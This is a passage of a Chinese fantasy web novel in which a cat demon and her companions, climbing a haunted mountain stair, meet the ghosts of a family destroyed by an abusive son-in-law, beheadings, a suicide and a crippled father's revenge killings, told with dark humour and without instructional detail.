她说了句“对不住”，摇头撇开满头的野菜，先蹲下去把老太太慢慢放了下来，再把地上的野菜一一捡起来，放回老太太的背篓里，捡着捡着一个侧身，瞧见地上滚来的一颗人头。
叶米：？
气氛略有些尴尬和凝滞，她诧异地抬起头来，和老太太对视上，对方一句话没说，脸上依旧是笑呵呵的表情，瞧着也不阴森，只要和她对视的人心里不害怕。
猫妖自然是不害怕的，她见对方没反应，又仔细打量了那人头的模样，是个三十左右的男人的头，面色惊恐，眼睛还瞪得大大的，仿佛在朝她控诉自己的冤屈。
然而叶米松了口气，心想幸好不是老太太的头掉了，不然她这好事做的真是没处说理去。
她拎着人头的头发把它拎了起来，和右手的一把野菜一起放进了老太太的背篓里，拍拍手，又在老太太面前蹲了下来：“好了，这次我小心点……你也小心点。”
“呵呵，”老太太没急着上去，笑着说，“嗐，年纪大了记性不好，眼神也模糊了。这不就少埋了一个头，好心的姑娘，你好事做到底，帮我埋了吧？”
好心的姑娘只好又站起来，宽容她的多事：“行。”
她把人头拎起来，细心地扒拉掉它头上的野菜，然后左右看了看，找了处野草稀疏的地，正想用法术抛个洞出来，手都伸出去了才发现自己没法力了，便从边上捡了块石头开始挖。
好不容易挖出一个洞来，叶米把人头放下去，她估量的不错，正正好好的，再把土盖上，地面上就鼓起来一个小小的土包，倒像一个滑稽的坟墓。
大功告成，叶米拍拍手，又觉得不干净，在边上的山涧流水中洗了手，这样就算完事了。
“好了。”
她在老太太面前蹲下来。老太太脸上笑呵呵的表情一直没有变过，眼睛笑弯弯的，露出弯细条的眼白和黑眼珠，瞧着是很和蔼慈爱的，只是永远都是这副表情，就像是戴着不变的面具，看多了就有些吊诡，浮着假面感。
好在叶米是不怕的，她大概是什么危险都觉得能对付，所以也不仔细打量什么，只等着危险来临一并解决了，不着急预防。
那不然怎么？要她预防谁，她更倾向于把那谁杀了了事。
这时候她感到有一些带着温度的重量爬上了她的背，老太太慢条斯理着将手臂环住她的脖子，在她耳边亲和地说：“姑娘，你不问问我什么？”
叶米很小
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心地站了起来，好在这次没有把野菜甩出来，有些心不在焉道：“嗯……问什么？”
“那颗人头。”
“这是你的私事，问起来不大礼貌。”
老太太亲切地说：“你是个好心人，你要是问我我乐意同你说。”
“算了。”叶米也亲切地替她着想，“再憋会吧，把这秘密带进棺材里去。”
老太太：……
“若我是个穷凶恶极的坏老太，你也愿意背我下山？”
叶米埋头赶路：“愿意的。”
“为何？”
叶米：“我乐于助人。”
“好人坏人你都帮？”
叶米古怪地瞥她一眼：“就是个背你下山的小事，需要考虑这些？”
老太太哼笑一声：“那我要是说，等我下了山回到村里，还要杀更多的人呢？”
叶米更古怪地瞥她一眼：“就你这老身板？”
老太太：……
“放下屠刀立地成佛。”她大概是秉承着“行好事不能坐视不管想杀人的老太太”的态度这么敷衍地劝了一句，“你也大把年纪了，心中还有这么大的仇恨？不如先想想下辈子的事吧，难道不来得更快些。”
“嘶，你这小姑娘，说话真不中听！”老太太拍了拍她的肩膀，倒也没有生气，“我问你，我活了六十都没做过坏事，若只做了这一件杀人的坏事，我算好人还是坏人？”
“你问我？”叶米脚步不停，脑子就不想转，“不用问谁，等你日后去了下边，自有人跟你算这笔账。”
老太太：“要是算我坏，我不免觉得冤枉。”
叶米就笑道：“那里可不是你喊冤枉就会给你平反的地方，他们都一清二楚的。”
“其实我杀的是我的女婿。”老太太忽然不问自招，“他是个畜生，吃喝嫖赌样样俱全，对我的女儿也是非打即骂，你是没瞧见，她全身没块好地儿，鼻青脸肿的，还挨村里人说，那个畜生毫不在乎的。”
叶米没瞧见她说起她的畜生女婿时候的表情有多么冷漠和痛恨，只听得出她咬牙启齿地：“昨晚她半夜跑回娘家来，说实在是过不下去了，想要投河自尽，让我别怪她，来世再报我的养育之恩……我吓了一跳，醒来才发现是梦。”
“……梦？”
“是，太逼真的梦了。我那时候就想到这畜生和她说过的话，他说若是我女儿敢跑，他就杀了我们全家。我女儿能跑，我和我断了只腿的老伴是跑不掉的，嫁到隔壁村的大女儿也是跑不掉的，她手上牵着一个，肚子里还怀着一个呢。”
“你家人还挺多。”
老太太呵呵笑了两声：“是，有这么多人，我可怜的小女儿怎么跑？所以我从梦里醒来，忽然觉得这梦是老天给我的指示。他能杀这么多人，我怎么不敢杀一个？杀了他，一了百了，万事休矣。姑娘，你觉得我做的对吗？”
叶米估摸着快到山下了，怎么还没到：“你已经杀了，何须再问对不对？”
89. 第 89 章
老太太默了默，声音低了一些：“可能是想寻个安慰。”
叶米想了想：“你小女儿怎么说？”
“我没脸见她。”老太太道，“仔细想来我也有错，当初要不是我和她爹没日没夜地催她成亲，她也不会这么草率地选了一个。”
“所以你是觉得自己做错了，杀了你女婿算是弥补？”
“唉。”
“你是有些错，不过大错不在你。”叶米安慰她，“错的是那个畜生，他确实不得好死。”
老太太抬眉：“哦，你这话是觉得我杀得对？”
“我可没说。”叶米谨慎道，“不过杀人的人不一定是坏人，被杀的人也不一定是好人。”
“这话说得倒是有几分道理，你觉得我该如何做？”
拐了这个弯，前边就到石阶的路口了，叶米一鼓作气把老太太送到了入口处，将她放了下来，扭扭脖子舒展胳膊，一身轻松。
老太太在边上看着她伸懒腰似的，脸上还是那副和蔼的微笑：“姑娘，你还没回答我的最后一个问题。”
叶米看着漫不经心地在舒展身子，其实脑子里在飞快地运转呢，她可不敢随便回答。事实上如果她是这老太，早就把那畜生杀了，心里压根不会有什么愧疚害怕，只会觉得这么死了便宜他，总得先让他生不如死一番……
话说回来，要是谢珍珠或是万情贞，他们会这么说呢？
“呜呜呜，太过分了！”谢珍珠一手摸着眼泪，一手拉着老太太，瞧着比对方还伤心，“奶奶你别怕，我们理解你的，都是你那女婿不做人在先，你才痛下狠手……杀人对一个好人来说多难啊，奶奶你真不容易呜呜呜呜……”
老太太被她充沛的情绪搞得有些不知所措了，拍拍她的手，反倒安慰起来：“嗐……你怎么比我还伤心？没事没事，都过去了。”
万情贞在边上气呼呼地打抱不平：“果真是言既遂矣，至于暴矣，世间这样可恶的畜生太多，也怪不着老人家你们先前看走了眼！要我说，他实在是该死得很，那不然要让你小女儿一生在这人渣的手下受苦吗？太可恨了！”
老太太呵呵一笑：“不必如此激动……咳，不过听你们两位年轻人的话，是觉得我杀得好？”
“杀得好！”他下了这样的判词后，火气忽地降了下来，有些愁眉苦脸道，“不过杀人怎么说都是不对的……”
老太太下巴一缩：“你说我杀得好，怎么又是不对的？”
万情贞：“这是两回事。”
“哪里是两回事？”
“你看啊老人家，”万情贞这么和她算，“你们人……咳，人间的律法就是这样嘛，律法中没说杀人是对的，所以你就算杀得好，也得去衙门自首才对。”
老太太似有些恐惧地摇了摇脑袋：“我虽是半个身子进棺材的人了，但还想多活几年，这去了衙门不就是要砍脑袋了？我家中还有一个断了腿的老头要我照料，再说……我还想看我外孙长大呢……我舍不得死呀！”
“要不这样吧，”谢珍珠眼睛红红，“我们陪你去衙门，把这事情的来龙去脉都说清楚了，求那官大人手下留情，不要杀你？”
万情贞点头应和：“是啊是啊，你也是事出有因，走投无路了。”
谢珍珠仔仔细细地纠正：“其实走投无路的是奶奶的女儿，不过奶奶你爱女心切，不忍她受苦，那畜生又以你们全家的性命威胁，这才一时冲动杀了人……嗯嗯，到时候就这么和知县说吧。”
老太太见他们连话术都想好了，心里有些感慨：“你们真是好人，只是那知县不见得有你们这般好心肠。”
“怎么会呢？”谢珍珠安慰她，“一个平凡人活着，幼时能感到父母的?舐犊情深，自己做了父母，便能明白对孩子的爱如珍宝；那知县既是孩子，也是孩子的父母，他定能懂得你的身不由己。”
万情贞同意：“是啊，连我们两个无关紧要的人都能理解。”
“欸……好。”
老太太看着两人的眼底有些泪水，她似乎是满意地点了下头，这一点也没使劲，但脑袋就这么掉了下来，咚地砸在地上，咕噜噜滚了几下，被一边的杂草挡住了。
还握着老太太手的谢珍珠：O.O
盯着老太太看的万情贞：O.O
“啊！！！”
有鸟惊飞，扑腾着翅膀划过天空，叶米回头一看，只瞧见几只鸟儿的落荒而逃的身影。她转过头来，盯着手上老太太的头瞧了瞧，有些不明白是什么情况。
她刚刚想着谢珍珠和万情贞有可能说的话，想来想去只想到一些哭哭啼啼的安慰，为了这点小事她实在是哭不出来，于是又想到之前焕影果那案子时南显成的解决办法，让老太太去衙门自首。
老太太哭着说自己虽是半个身子进棺材的人了，但还想多活几年，这去了衙门就是要掉脑袋的，哭诉她家中还有一个断了腿的老头要她照料，又说还想看外孙长大，实在是舍不得死巴拉巴拉的。
叶米看她模样可怜，便给她出主意：“你去自首的时候，喊上你们村所有人，尤其是那些是跟你交好的、受过你恩惠的，一定要喊上，然后在官府门口就这么哭，记得是跪在门口，一边哭一边喊冤。”
“哦，差点忘了，把你家那断了腿的老头和皮青脸肿的小女儿再加上八月怀胎的大女儿还有两三岁的小孙子都带上，一起哭，哭得惊天动地些，把那畜生的行径添油加醋地说。这样之后，那知县就算想处死你，也得顶着村民的谩骂，谅他也不至于为了你这条老命丢了自己的一世英名。”
老太太听傻了。
她瞧着有些震惊，表情说不出的古怪，欲言又止道：“姑娘，这样不太好吧？总有些强人所难。”
叶米也古怪地看着她：“人都杀了，这点强人所难的小事还不好意思做啊？”
老太太：？
老太太：！
“你……”她露出思酌的神色：“你说得倒不是没有几分道理，我当时为何没想
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过呢……”
说完这一句，她的头就掉了，叶米眼疾手快地接住，然后就陷入了难题，要怎么处理这老人家的尸体呢？从她刚刚的话里推测，她应是去了衙门之后就被斩首了，所以这头才会掉下来。
她倒是有个好主意，把这人头挂在那知县的屋里，看他夜半醒来心虚不心虚。可她刚有这有趣的念头，手上的人头像生怕她这么做，转眼就消失了，连带着站在边上的尸体。
叶米也不遗憾，耸了下肩，继续从头开始爬这不知道何时到头的石阶。
踩在第一层石阶上的脚步并不轻盈，甚至有些沉重，胡和烈松了口气，把背上一直絮絮叨叨没完没了不知道在说什么的老太太小心放了下来，长长的呼出一口气：“到了，老人家你走吧。”
老太太也在喘气，这小伙子跑得忒快了，给她颠得上上下下、一句话都说不稳当，被人背着也觉得老累了：“呼……呼……好，多、多谢你啊……”
“不客气。”胡和烈大方摆手，“那我走了。”
“欸、欸，小伙子等等！”老太太见他要走，连忙叫住他，“刚刚我在你背上时同你说的那些……你有何看法啊？”
刚刚她在他背上时说的那些？
胡和烈皱起眉头，露出思索的神色，思索了一会后挠了挠头：“你说了什么来着？方才我专心赶路，没听着。”
老太太：！！
不是，她费尽口舌地说了那么多，还以为他不吭声是听得太投入了，不知道怎么安慰她呢，毕竟是有这样不善言辞的人的，结果是他根本没听进去！？
忍着被颠来颠去的痛苦说了半天话的老太太感到眼前一黑，双唇都颤抖了起来：“你、你……你一句都没听进去？”
胡和烈想了想：“听进去一些，是不是……你女儿怀孕喝酒打架的事？”
老太太：……
简直是黑白颠倒！
胡和烈看她无语又晕眩的表情也知道不是他说的那回事，不过现在他的重点不在这儿，态度敷衍地认真回答道：
“老人家，我对你的事能有什么看法？其实你也不该在意他人的看法，你瞧你也是六十耳顺的年纪了，六十耳顺不就是只听顺耳的话吗？你看你还要问别人怎么看，这样活得多累？”
老太太汗颜：“六十耳顺好像不是这个意思……”
“好，不重要。”胡和烈往石阶上瞥了一眼，明显的心不在焉，“这世间的所有人都会自食其果，你既已做了这件事，何必要再回味、纠结，后悔？不如坦然面对结果，日后再反思避免重蹈覆辙，争取打赢……这可是我的心得。”
老太太瞪眼：打赢什么？你到底是哪来的心得？？
“快回家去吧，让你女儿怀孕少喝点酒。”胡和烈朝她挥挥手，一脚迈到第三个台阶上，“我真有急事，走了！”
老太太：……
果然一开始她把人头抖出来在地上乱蹦他都没看见的时候她就该知道这家伙脑子有问题了！
90. 第 90 章
有问题，非常有问题，但不知道问题出在哪。
叶米盯着她之前埋那个畜生人头的地方看了会，上边的小土包已经不见了，她记忆不可能出错，就是这小块地方，边上还有一丛小野花的。
就在她纠结着是要挖开看看还是继续往上爬的时候，前方忽然传来一阵虚弱的咳嗽声，那声音传来的方向和一开始老太太出现的地方一模一样。
叶米：……别搞。
她略有些僵硬地站在原地，动也不动，就这么看着一个扶着山体的柔弱女人慢吞吞地走了下来，她踩在石阶上的双腿发软到让人疑心她下一步就要摔倒——事实也是这样，只见她腿一软，膝盖就跪了下来……
就在叶米面前。
都这样了，不扶她一把实在算不上善良，叶米伸手将她扶住，没让她摔倒地上，又顺口问了一句：“你没事吧？”
那女人也不客气，顺势倒进了她的怀里，仿佛全身的肉都找到了支撑的骨头：“我没事，多谢你，不然这一摔下去，不知要滚到何时才到头，我定是要粉身碎骨的，我身子又这么弱……”
叶米总觉得这话听着有几分熟悉：“你既然有这自知之明，还来爬山？”
女人一噎，忽然抽了抽鼻子，像是一种哭泣前的准备动作：“若不是走投无路，我也是不想的！呜呜呜……”
叶米：……
猫妖见她的眼泪都蹭到了自己身上，不免有些嫌弃，想着赶紧把这烫手山芋给解决了：“成，你想我怎么帮你？你要下山吗？我背你……”
“不是。”女人抽抽涕涕地说，“我是来找东西的。”
“什么东西？”
“我郎君的头颅。”
叶米：……
这话才说两句就不由得让她犯嘀咕了，她深呼一口气，又轻轻叹出来：“埋哪了还记得吗？”
女人摇摇头：“不是我埋的，是我娘埋的。”
看来真是她刚刚背下去的那个老太太的小女儿。叶米打量着她，也没见鼻青脸肿啊，脖子和露出来的手腕手背也没有……可能是那男人死了有一段时日了吧：“你找他头颅做什么？”
“说来话长……”
叶米真不想听：“长话短说。”
女人泪眼汪汪：“自我同我郎君成亲后，他吃喝嫖赌，对我日夜打骂，我没过上一天好日子，我想和离，他还威胁我要杀了我全家，我只好忍受……没想到我娘不忍看我如此受折磨，趁夜来将我郎君的头颅斩断，又上山埋了起来……”
这些叶米都听过了：“嗯，然后呢。”
“杀人之后，我娘去衙门自首，知县不顾我们求情，判她当街斩首。大刀挥下，我可怜的娘就这么死了。”她说到这，泪水更是哗哗地流下来，似乎带着许多恨意，“人头落地，哪里想到我婆婆这时候冲上去，抢走了我娘的头，要我们拿着他儿子的头来换！”
叶米没想到这事情还有这样的后续，想起自己刚刚随便埋起来的头，难怪这时候找不到了，就等着给她使绊子呢。
“……我简直是个不孝女！”她字字泣泪，“找了这么个畜生，身处水深火热之中不得解脱，还要搭上了我娘的命！若我当时能看清这人的真面目，我娘何至于此啊！”
“如今，我唯一的夙愿就是要回我娘的头颅，让她有个全尸……”她说到这，抹了把眼泪，抬起眼看叶米，“姑娘，你能否帮我找到那畜生的头颅？”
叶米琢磨了一下，有了个好主意：“我试试。不过你身子柔弱，我带着你是个拖累，耽误事。不如这样，你先回家，正巧我也要到山顶去，这一上一下的也能把这条路找全了，要是我找到了，就送去你家给你。”
女人一愣：“说的也是……那若是找不到呢？”
叶米双手一摊：“找不到怎么了，你还想怪我？我只是好心帮你，可不是欠你的。”
女人：……
叶米：“不会还要我背你下山吧？”
“不用、不用……”她低着脑袋，眼睛在她的两只脚上晃了晃，有些出神地说，“我自己慢慢走下去就好了。不过告辞之前还有一事想问问姑娘。”
“你说。”
“如今村里人都说我是祸害，害死了郎君、害死了我娘，我还这般厚颜无耻、仿佛若无其事地活着，真不知道这日子要怎么过了。”她的声音低低的，带着女人特有的温柔的哀愁感，“其实我心里是很无望的，也不晓得自己能做什么。”
叶米见她不需要自己背下山，省了许多时间，便多了些耐心：
“你要是不晓得就为活着而活着，偶尔寻点盼头，比如今日来找畜生的头颅，明日去换你娘的尸首完全，接着就可以忙活你娘的丧葬礼俗了。在这之后，你不还得照顾你那缺胳膊少腿的老父亲？……你总能找到点事干。”
女人听着听着，她这么周到的安排，也不知是感动还是怎么，眼里又含了一泡泪水：“我是能这么活着，但我的心已经死了！”
叶米：……
上升到这种层次的问题，她真是两眼一黑了，此时急需万情贞。
“人死不可复生，但心死犹能复苏啊！”万情贞拍拍女人的肩膀，还不敢拍重了，只好加重自己的语气，“姑娘，死个郎君算什么事呢？更何况世上男人这么多，他还是个畜生，他死了你该高兴才是！”
女人呜呜呜：“话是这么说，但他也是为我而死的，这条人命……不，还有我娘，这两条人命，压在我身上我是喘不过气来了！”
万情贞：“他死是因为他坏，他活该！”
谢珍珠：“对！他活该！”
万情贞：“你娘死是那知县不通情达理，更是为了你的将来，你怎么能自暴自弃呢？”
谢珍珠：“没错没错！你可不能自暴自弃啊！”
女人嘤嘤嘤：“可就算我如此宽慰自己，村里那些人还是对我指手画脚的，甚至说我是丧门星，我
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郎君和我娘因我而死，往前推一推，赶巧我爹的腿受伤也是我出生之后的事……”
万情贞翻白眼：“照他们这样说下去，全村的糟蹋事都要怪到你身上。”
“你如何知道？”女人佩服地看他，“我邻里的母鸡这半年下不了一个蛋，也说是我害的，因为我出嫁近一年，还未有子嗣……”
“荒谬！”万情贞义愤填膺，“简直是胡扯！怀那种畜生的孩子有什么好？生出来哪里知道是什么货色，只怕随了他爹！我告诉你，就是会随的，我是月、咳，反正我是知道的。”
谢珍珠在边上应和：“对啊对啊，他是知道的。姐姐，没怀上那畜生的孩子你该庆幸才是，要是真有这孩子，你婆婆定要缠着你不放了！”
女人一听还真有道理，她先前是觉得自己没生孩子才会被那男的打骂欺辱，还有些自我认为活该呢，毕竟他打骂时嘴里也嘟囔着这样的话。现在他死了，之前的苦恼倒成了洒脱，还真是塞翁失马焉知非福。
“唉，”女人想了想，又说，“那就暂且不管那畜生，可我娘的死一直压在我心头，郎君是我挑的，日子也是我过不好的，我娘却……其实我心里是很无望的，也不晓得自己能做什么。”
万情贞倒豆子似的给她出主意：
“你能做的多了去了，既然村里人对你指指点点，那你就离开这破村子，去京城、雷州，景州……大唐疆土之大，还怕没有你的容身之处？你只管重头开始，可以先去食店里做打杂的，然后拜师学艺，自己开食店、酒楼……”
谢珍珠：？
螃蟹精古怪地看向同伴，心说怎么就到开酒楼的事了？
女人见对方把自己的将来规划得如此头头是道，有些感动和尴尬，心头泛暖：“多谢多谢，我知晓了。”
万情贞止住话，朝她点点头说：“日子总可以越过越好的，人要向前看。对了，我给你推荐一个话本，叫《我在京城开酒楼》，讲得是一个为逃避媒妁之言的女子远离家乡跑到京城，从一个客栈后厨打杂小二一步步偷师学艺，最后成为京城名噪一时的酒楼大东家的故事……”
谢珍珠：？？
女人：…………
她很是诧异地看着面前的妖，扯了扯嘴角，勉强起了个笑：“这位公子，你刚刚……说了什么来着？”
胡和烈捏捏拳头：“我说，找个肾的头，我现在就陪你下山，去把你娘的头给抢回来！什么人啊，欺负你一个柔弱女人，实在不像话！”
女人咽了咽口水：“额，要不还是先找我郎君的……”
“还有那个知县，搞什么玩意。”胡和烈为她打抱不平，“不分青红皂白地处死你娘就算了，那老太婆抢你娘头的时候他在哪？他怎么不出来主持公正道义了？到时候我上你们村衙门一起把他端了，给你们村除害！”
女人已经笑不出来了，脸上似乎更苍白了一些：“这样粗暴地解决问题……是不是不大好？”
91. 第 91 章
不大好？
胡和烈气上心头，噼里啪啦道：“怎么不大好？那畜生打你骂你不粗暴吗？那知县判你娘斩首不粗暴吗？还有你婆婆抢你娘头不粗暴吗！”
女人被他说得心一跳一跳的，还真是说不出一句“不是”，心中隐隐地也起了一截怒火，总觉得自己这么软弱地上来找畜生头还真是有些吃亏了。
胡和烈说到后边甚至恨铁不成钢：“他们这样对你，你还在想好不好？你去抢回本该是你的东西，哪里错了！？哪里不好了？”
女人被他的话点燃了，哪怕燃的是怒火，但原本空虚的躯壳里仿佛温暖灼烧着，充沛着生机勃勃的恨意，她充满哀愁的眼睛有了亮点，重重地点了一下头道：“对，你说得对。他们一家害我至此，我还这么懦弱……”
胡和烈：“还有那些村民……啧，我都不想说了，他们看不起你，你就要顺着他们的意看不起自己？”
“真看不起你。”
女人诧异地抬起头，看向面前神色冰冷的姑娘，只见她脸上的耐心已经寻不见了，抱着胸，冷淡的眼里没有一丝温度：“肉身能因外物消损，这是无可避免的，可你连自己的心都无法掌控，要是继续这么浑浑噩噩地活着，倒也没必要了。”
女人听得一愣一愣的：“你、你也觉得我不该活？”
“我可没这么说。”叶米辟谣，“世上太多身死心不死的人，当然也有心死身不死的行尸走肉。有些人心死，是因为无处可逃的生来悲哀。而你有那么多可救之处，你娘都救了你，你却不愿意救自己一次，念叨着什么心死……”
她说到这里顿了顿，似乎感觉不太好说什么重话，就干脆结束了当：“我不会宽慰人，总之是在劝你活着。当然你的生死与我也无关，我只帮你找个头。”
女人和她说了这么几句，当然听出来她不擅长安慰人了，不过这似骂似烦的话里不难瞧见冷冰冰的关心，她看着对面妖的侧脸，苦笑一声道：
“你说得对。其实在成亲之前，我从来不觉得人生有多悲哀，日日无聊地活也是有意思的。只是遭遇了这样的痛苦之后，好像满心满眼都是这些事了。”
叶米：“人就是这样的。”
“你也会这样？”
叶米瞥她：“我又不是人。”
女人先是一愣，忽地笑了。笑着笑着脸上的皮肉哗啦变成烂泥流淌而下，连带着脖颈和身子上的肉，反复和了水的面粉在菜板上被刀刮下来，一下子落到地上，只留下空荡的白色骨头套着不合骨的衣衫。
叶米一愣，瞧见这衣衫上的破破烂烂和大片斑驳的血迹，那血肉泥流到石阶里就消失不见了，她抬头一看，正巧一阵轻风过，女人的骨头像被砸碎了一般，散架倾塌了。
猫妖推测她的死法，大概是从高处落下摔死的。这些暂且不重要，重要的是她就这么走了，那畜生的头她还找不找呢？
“什、什么意思啊这……”
谢珍珠和书灵依偎着瑟瑟发抖，不明白为什么那个可怜的女人会变成如此可怖的模样后消失了。先是她娘头掉下来，而她又是这幅模样……
“欸欸，”万情贞灵光一闪有个猜测，“刚刚这位姑娘说，自己的娘是被知县处斩首之刑而死，而我们先前看到的那个老太太最后是头掉下来消失了，正巧对应上，那是不是说明，其实这姑娘她……”
谢珍珠觉得他说得有道理，自己心里也有些猜测，便感到一些悲伤：“若真是这样……唉。”
“等等等……若真是这样，”万情贞脸色忽地一变，“那那那那她们是是是鬼！？”
谢珍珠惊慌摇头：“别自己吓自己，说不定只是幻象，都是假的呢！”
只能先这么安慰自己了。
“好吧好吧……”万情贞猛然发抖一下，搓搓手臂，“我们快快往上走吧。咦？怎么突然天这么黑了？刚刚不还是……”
也不知是他俩宽慰人家太投入还是怎么，连天色的变化都未察觉，望望四周，还好眼前的黑暗不是完全的黑，还是能视物的。伴着天黑，空气似乎都冷了许多，暗与明相比，总是带着更多神秘可怖的色彩，反正两妖是有些瑟瑟发抖起来。
二妖抱住自己，谢珍珠说：“怎么还没见到叶米和胡大哥呢？他们是不是真的在山顶等我们？”
万情贞抬头看看夜空，只瞧见乌云，没有星星和月亮，心里也不踏实：“只能希望是这样……这座山的古怪我俩也瞧不出来，除了往上爬，也没别的办法。”
“走吧。”
“好……”
他们便继续一步一步地踩着石阶往上爬，心里默契地想着幸好自己边上还有一个同伴，若是就自己一只妖，很难不陷入进退两难的境地，弱者的相互依偎是多么大的安慰啊。
大概又爬了五十多个台阶，就在此时，前方被大树遮蔽的拐角处传来一些声响，像是脚步声，但一深一浅的，先击打着山体，反弹进二妖的耳中有些缥缈的空旷。
二妖当然认出这脚步声的陌生，肯定不是叶米和胡大哥，估计又是新人物，他们僵硬在远处，默契地咽了下口水。天色昏暗，这样的距离也看不清那人的模样，只见到他的一个黑黑的身影。
身量不高，体格瘦削，一瘸一拐的，一只脚明显短了一截，有只手扶着短腿像是给抬起的力气，另一只手上拿着什么东西看不分明，整个人的走路姿势幅度很大，像是提线木偶在被手指夸张地操控着。
Kalengkaleng，仿佛有些关节卡顿。
他们不由得想到了老太太故事中断了腿的老伴。
见他这么走来，也许是对残疾者惊心的同情，谢珍珠有想跑的冲动，但是不该的，也许这个老爷爷也是想和他们诉说一些痛苦的往事，寻求一些安慰和谅解，她要耐心些、和善点，不能表现出可怖和退缩的不礼貌。
万情贞的声音在她
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耳边很小声地响起：“喂，珍珠，好像有点不对劲……”
谢珍珠看不到自己下意识抬起的笑容很难看：“别……自己吓自己，哈哈。”
他终于走近了，和二妖预料得相近，是个跛腿的老爷爷，他很瘦，尤其是那双腿，皮仿佛直接贴着骨头，却不紧贴着，随着走路的动作松弛地摆了摆。他的脸色是残酷的木讷，就像不为生死所动一般，这点倒也能从他手上拎着的一把染血菜刀上体现出来。
二妖明显感到来者不善，但谁让他们善呢，见对方走来，虽说心中有莫大的恐惧使他们僵硬住了，竟还是扬起嘴角礼貌问好：“老、老爷爷……这么晚了，你在这山上……做什么啊……”
老爷爷抬起因为眼皮耷拉而形成的三角眼，阴翳地看了他们一眼，一声不吭地举起了手上沾血的菜刀。
“哦……”万情贞的额头上流了些汗，他看着刀上还在流淌的血恍然大悟道，“是来砍树的？”
老爷爷眨了下眼睛，依旧没说话。
气氛静谧了几刻，忽地他扬起大刀，用一种跛腿人不可能达到的速度朝二妖突击而来，跑步的姿势还是那么个夸张扭曲的姿势，只是加快之后，就不像人的动作，更像是什么扭曲的怪物在爬行——
“啊啊啊啊！！救命啊！！”
就算有心理准备，但二妖还是吓坏了，他们惨叫连连地往山下跑去，除了逃命之外什么想法都没有，心脏砰砰砰地也要逃出来，双腿迈得飞快，简直是咕噜地就从几阶石阶上滚下来了，像轮子似的。
“猫大人！！”
猫大人虽然失去了法力，但身手还是很不错的，虽说这老头变成鬼之后速度和力量都被提高了，但和她这只年轻矫捷的猫妖是不能比的。
叶米轻松地抢过了他手上的刀扔到了边上，他往刀消失的方向沉默地看了一眼，怎么还不知道自己失去了唯一的底气呢，竟然还直冲叶米扑来，一副不要命的架势——
于是就这么被叶米放倒了，整个人倒在石阶上，双手被反剪在身后，完全扑腾不起来。
叶米这时候觉得能和他说话了：“你想我为你做什么？”
老爷爷头也不回，扬起脑袋无神地看着石阶上方：“杀……”
“杀了你女婿一家人？”
“哈哈……哈哈……杀……”
叶米瞧他的样子，估摸着他应该是已经把那些人都杀了：“都杀光了，你高兴了？”
“不高兴。”他的声音十分沙哑，又很低沉，如果不仔细听都听不清他在说什么，“都是我没用。”
“怎么说？”
“他们知晓我跛腿，身子不好老无力，活着全依我老伴照料着吃喝拉撒。我如此无用，那畜生这才对我小女毫不尊重，他老娘还敢当着我的面抢走我老伴的脑袋！还有那些村民……四处非议我女儿，逼她跳崖……其实这些全赖我没用，连自己的老伴和女儿都护不住……”
92. 第 92 章
叶米虽然瞧不见这老头的表情，但能感受到他话里压抑着的、充满恨意的哭腔，大概也能想象出他悔恨自责的模样。
而且听他这话，似乎不只是杀了他女婿那一家人。
叶米便问：“既然你觉得是你没用才导致了这些悲剧，为什么不杀了罪魁祸首——也就是你自己？”
老爷爷顿了顿，平静了一些：“我也要死的，很快就要死了，所以我要快些报仇。”
叶米又问：“你觉得他们都是罪有应得？哪怕有些村民只是说了几句话、给了一些不好看的眼神？”
他回答了一个并不那么狠的“是”。
叶米笑了一声：“其实你狠的是你女婿一家人对你的不屑，是村民对你的流言蜚语和看你的眼神，可能也有你女儿那事的一部分原因，不过重点是你自己的恨，所以你口口声声说着怪自己没用，都是自己的错，却没有先杀自己。”
老爷爷便不说话了，这时候的沉默就是无法否认，他过了一会儿就承认道：“是，你说得对。我就连承认自己的恨都不敢，还要借我女儿的名义，这才是真正的无用。我也瞧不起我……谁都该瞧不起我。”
“我没有瞧不起你，原本。”叶米想了想，“像你这样身患残疾、命带悲哀的凡人，忍受着被世人瞧不起的痛苦本身就是值得被瞧得起的。若你能将这恨意藏一辈子而不宣泄，你比大多数人都厉害，可你没藏住。”
老爷爷哼笑一声，笑中有嘲讽：“对我如何我都习惯了，可他们害了我爱人和女儿，这恨意如何藏得住？”
叶米感受到他对她的嘲讽，但也没生气，反倒是明白过来什么，微微愣神。
确实，他都忍了几十年了，麻木的痛苦是等不来春暖的寒冬冰河，一整块地放在哪里，旁人瞧着如此平静、毫无波澜，但冻在里头的人始终是冷到疼的，无望地期盼解冻的那日。
可没想到等来的不是和煦春风，而是温热的血液。
原来能藏住恨的是爱，爱一死，恨就肆无忌惮了。
叶米一时不知道说什么，她自然知道他是一个丧心病狂的杀人魔，也许他一日之内杀的人比她才杀掉的那只熊妖犯下的杀孽还多，但两者是不一样的，这无法否认。
所以她也有些纠结起来，该如何处置这老头？
“你想做什么？”她只好又回到最初的问题。
老头说：“我要回到村里，把那些人都杀了。”
“你这么说我可不能放你走。”
“那些凡人于你来说，不过是未曾谋面的蝼蚁，你为何在乎？”
叶米也头大：“我有我的立场，杀人总归是不好的。”
老头呵呵笑，动了动被她压在背后的双臂，像是在提醒什么：“你不杀我，又不让我杀人，难道要这样将我困在此处？可这也困住了你。”
他说得没错，叶米还要继续往上爬，不可能一直留在这对付他，也不能让他完全失去行动力，这也是间接杀人……那怎么办呢？
她的实现从上到下地打量了老头全身，最后落在被她摁住的双臂上。
既然他是拿菜刀砍人，那就让他拿不起菜刀好了——
“啊！！”
叶米快准狠地将老头的右臂卸下，他左手要扶着左腿走路，右手是举菜刀的，卸下右手也不妨碍他走路，留了一只不惯用的左手，既能让他自己给自己喂饭，又不方便杀人……嗯，算是完美解决了。
叶米站起来，满意点头：“好了，你走吧。”
老头恶狠狠地瞪她：“你把我弄成这副样子，还不如直接把我杀了！”
叶米耸了下肩：“你不是说你本来就快死了，我又不赶这时间，何必要手上沾条性命？”
老头：……那倒是这么回事。
叶米礼貌地朝他扬起一个欠揍的微笑：“老人家，走好。”
说完她自己先转身走了，老头只瞧见她轻快的背影在石阶上翩翩起飞，再自在也不过如此了，他默默地看了会，夜色盖住了他的眼，忽然什么都瞧不见了，只能转过身去，一步一步地走下台阶。
叶米听见脚步声回过头，看见那个蹒跚的身影，一上一下、一歪一斜，一步一拖拉地往下走着，一只手扶着短腿，一只手无力地甩在身侧。这走路姿势她实在看不惯，对这老头而言，从不习惯到习惯的时间需要多久呢？
猫妖其实是无法想象的，作为一只健全的、以身姿矫捷为傲的猫，她对这样的残缺感到十分的恐怖和九十分的庆幸。
